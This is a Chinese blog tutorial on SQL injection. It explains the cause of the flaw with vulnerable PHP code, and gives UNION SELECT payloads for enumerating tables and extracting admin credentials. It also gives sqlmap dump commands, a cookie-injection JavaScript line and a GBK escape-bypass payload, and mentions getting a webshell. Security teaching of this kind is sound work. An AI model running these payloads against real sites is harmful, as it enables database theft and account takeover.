Web渗透05_SQL注入(TOP 1漏洞)
SQL注入是所有WEB漏洞中最危险的攻击方式,带来的危害也是最大的。没有之一。
SQL注入基础
在编写web应用时,几乎所有的数据都存储在网站的数据库中,你的账号信息,收藏信息,文章信息等等数据都存在数据库当中。
我们常看到同一个网站,不同人登录后显示的页面是不同的,这些不同便在于不同用户所拥有的数据。
网站并非是为每个人单独去写一个个的页面,而是通过脚本语言,通过与数据库交互(传入相关信息,数据库对所传入的信息进行搜索,数据库返回搜索结果),之后脚本语言把结果显示在一个页面的模板上。这样每个人看到的页面就是不同的了。
public function delAllCate($cate_id){
// 此时$cate_id是一个数组,需要先转换为字符串
$cate_id = implode(',', $cate_id);
$sql = "delete from bg_category where cate_id in($cate_id)";
return $this->dao->my_query($sql);
}
这是一个php的数据库交互函数的例子,其中$cate_id是通过post传入的参数,利用字符串拼接的方法,把这个 $cate_id 变量字符串写到对应的地方,之后执行这条语句,并返回对应的结果。
如果我们不按照规矩传呢?我们通过劫持流量修改其中的post数据中的cate_id呢?这会引发一系列后果。
漏洞原理
通过用户可控参数中注入SQL语法,破坏原有的SQL结构,进行攻击的方法。
造成原因:
-
程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
-
未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。
注入位置
在Web应用获取用户数据的地方,只要存在数据库查询交互,都有可能存在SQL注入的可能。
- Get数据 ?user=123456&pass=admin
- POST 数据
- HTTP 头部请求报文
- Cookie 数据
- .....其他一系列数据交互的地方,尤其是表单,搜索框注入,留言板注入。
漏洞危害
-
利用SQL漏洞,可以得到数据库中的多种信息,将数据库的信息完全暴露出来。
-
特别情况下可以删除数据库中的信息以及在数据库中更新或者插入数据。
-
如果数据库权限分配存在问题,或者数据库本身的缺陷,攻击者可以通过SQL注入漏洞直接获取WebShell, 服务器系统权限。
SQL注入类型分类
数据类型: 数字型(无引号包裹),字符型(引号包裹),日期型。
注入手法:
- Union query SQL injection 联合查询
injection 英[ɪnˈdʒekʃn] n.注射; 大量资金的投入; (液体)注入,喷入;
- Error-based SQL injection 报错注入
- Boolean-based blind SQL injection 布尔型注入
- Time-based blind SQL injection 延时注入
- Stacked queries SQL injection 堆查询注入
MySQL知识点
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。开源。
Github用的就是ruby+Mysql
MySQL注释
#
--
杠杠空格。浏览器里常用+
号替换空格--+
/* */
多行注释
MySQL 元数据库 information_schema
其中 tables 里存放了所有数据库中的所有表的信息 21列
同理其中 columns 里存放了所有数据库的表的列信息(属性)
MySQL 常用参数和函数
函数名 | 描述 | 实例 |
---|---|---|
RAND() | 返回 0 到 1 的随机数 | SELECT RAND() --0.93099315644334 |
DATABASE() | 返回当前数据库名 | SELECT DATABASE(); -- runoob |
USER() | 返回当前用户 | SELECT USER(); -- guest@% |
VERSION() | 返回数据库的版本号 | SELECT VERSION() -- 5.6.34 |
Order By
SELECT * FROM bg_admin order by 1
表示以搜索字段的第一个属性排序。如果语句是以 * 为搜索对象,那么通过这句话可以测出表有几个字段。
SELECT admin_id FROM bg_admin order by 2
这句话会报错。
Union Select
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions]
UNION [ALL | DISTINCT]
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions];
在多个 select 语句中,对应的被查询的列应该具有相同的字段属性,且第一个select 语句中被使用的字段名称也被用于结果显示的字段名称。最终结果是两个表的数据纵向拼接。
若第一个select 语句通过操作使其查不到数据(让他搜搜不到的东西),那么后面那个select 语句的结果就会完整而单独的显示出来。
数字的奇妙
SELECT 1='1' # 1
SELECT 1=STR_TO_DATE('0000-00-00 00:00:01', '%Y-%m-%d %H:%i:%s') # 1
利用 order by 知晓搜索的列的数量X,就可以利用 union select 1, 2, 3, ....,X 来对整个搜索结果进行追加信息的操作,因为脚本通过关联数组的方式返回结果,并用其绑定显示的位置,只通过这一招,就可以将其他表的数据,数据库的数据,数据库版本的数据都给显示出来。
http://www.abc.com/index.php?id=-1 union select 1 ,2 ,3, version(),database() # 1 2 3 5.53.4 cms
Group_concat()
SELECT GROUP_CONCAT(title) FROM bg_article # title1,title2,title3
不用这个函数会好几行的显示。
若同一列(属性)正常展示会有很多行,Group_concat()将同一属性一行展示,并且以逗号分割。
concat()
这个函数用一个属性的位置可以显示许多属性。本质是字符串的拼接。
concat('a' , 'b', 'c') # abc
concat(name , 'b' ,pass) # 搜索name属性pass属性最后拼接
以下排序一般是正常注入的方法顺序。
1 联合注入(是否有回显)
http://www.abc.com/index.php?id=-1 union select 1 ,2 ,3, version(),hex(group_concat(table_name)) from information_schema.tables where table_schema=database()
由于字符编码的问题,infromation_schema表的编码可能和其他数据库的编码不同,这里将他转换为16进制数字即可。数字可没有编码问题。
不过用户可能没有权限去跨库查,真是泪目。
由此查到所有的表名,那么管理员信息表的名字也可以查出来。
http://www.abc.com/index.php?id=-1 union select 1 ,2 ,3, version(),hex(group_concat(column)) from information_schema.columns where table_schema=database() and table_name=0x456789
利用 Columns 表 就可以查出0x456789
(管理员信息表)的各个属性名称。因为表名是字符串需要加' '
,为了避免就直接变成16进制了
之后利用查到的属性名称再用一次union select就可以了。其他字符 ':' , ' '
,改为ox3a
http://www.abc.com/index.php?id=-1 union select 1 ,2 ,3, version(),concat(name,ox3a,pass) from admin
得到结果 zhang:123456
由于许多的密码在存入数据库中都要进行md5()加密,使得哪怕入侵者通过注入得到加密的密码也不能登录后台。这里给出一个破解加密的网站
2 报错注入(是否有报错)
联合注入不成功的情况下,在注入点的判断过程中,发现数据库的报错信息会显示到页面中,因此可以进行报错注入。常用方法有十种。
floor()、updatexml()、extractvalue()、rand()
3 布尔型盲注(存在布尔类型状态 条件正确显示 条件不正确不显示)
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
4 延时盲注(绝招)
实在是什么东西都不能判断,通过sleep()函数,进行睡眠盲注。
sqlmap
sqlmap -u "http://www.abc.com/index.php?id=3" # 直接自动化判断 检测注入点
sqlmap -u "http://www.abc.com/index.php?id=3" --dbs #列出所有数据库的名字
sqlmap -u "http://www.abc.com/index.php?id=3" --current-db #列出当前数据库的名字
-D指定数据库名字 --tables列出表名
sqlmap -u "http://www.abc.com/index.php?id=3" -D "cms" --tables #列出指定数据库(cms)所有表名
-T指定表名 --columns列出所有表的属性列
sqlmap -u "http://www.abc.com/index.php?id=3" -D "cms" -T "cms_admin" --columns #列出指定数据库(cms)的指定表(cms_admin)所有属性
-C指定属性列名 --dump列出字段内容
sqlmap -u "http://www.abc.com/index.php?id=3" -D "cms" -T "cms_admin" -C "username,password" --dump #列出指定数据库(cms)的指定表(cms_admin)的指定属性列username,password的值
还可以做cookie注入,从文件中读取http请求去判断是否可以注入。自动检测表单,获取shell,等等。
对自己的web做了一下,阿里云直接把IP锁定了,不允许访问了......发挥不出作用
cookie注入
有的网站做了优化,寻常注入,就是在浏览器的URL里搞文章,已经行不通了。服务器并不是去去读URL里的参数构造SQL语句去查询,而是通过用户浏览器里的Cookie当成信息,去做查询。而浏览器里的Cookie可能是JS写入进去的,刷新即可显示新的页面。
这时候修改cookie里的值就好
document.cookie="id="+"12 and 1=2 union select 1,2,3,4 from admin"
之后刷新页面,即可看到结果。
分开写是因为cookie的写入赋值因素,同时 union select
有时必须加入 from xxx
,要根据具体的数据库去实验。
利用Sqlmap
sqlmap -u "http://xxx.xxx/xxx.asp" --cookie "id=1" --level 2 -D "cms" -T "cms_admin" -C "username,password" --dump #--level 2 后面正常写就行
SQLI-labs-master
一个SQL注入的游戏程序,里面由php编写,总共各类72关。可以尝试玩一玩。
另外一些
- Mysql的变量:secure-file-priv 导入导出的权限限制,可以上传木马获取webshell。
- 利用GBK字符编码的问题,巧妙绕过
\
转义程序对''
的转义,从而利用''
进行注入。
?id=10%df' union select 1,2,3
转义之后
?id=10%df\' union select 1,2,3
\
为0x5c
而0xdf\ 在数据库中会变为 0xdf5c 变成一个汉字
- cookie注入
- base64注入
等等,有兴趣可以去SQLI-labs-master: https://github.com/Audi-1/sqli-labs里玩。
如果我的工作对您有帮助,您想回馈一些东西,你可以考虑通过分享这篇文章来支持我。我非常感谢您的支持,真的。谢谢!
作者:Dba_sys (Jarmony)
转载以及引用请注明原文链接:https://www.cnblogs.com/asmurmur/p/15100547.html
本博客所有文章除特别声明外,均采用CC 署名-非商业使用-相同方式共享 许可协议。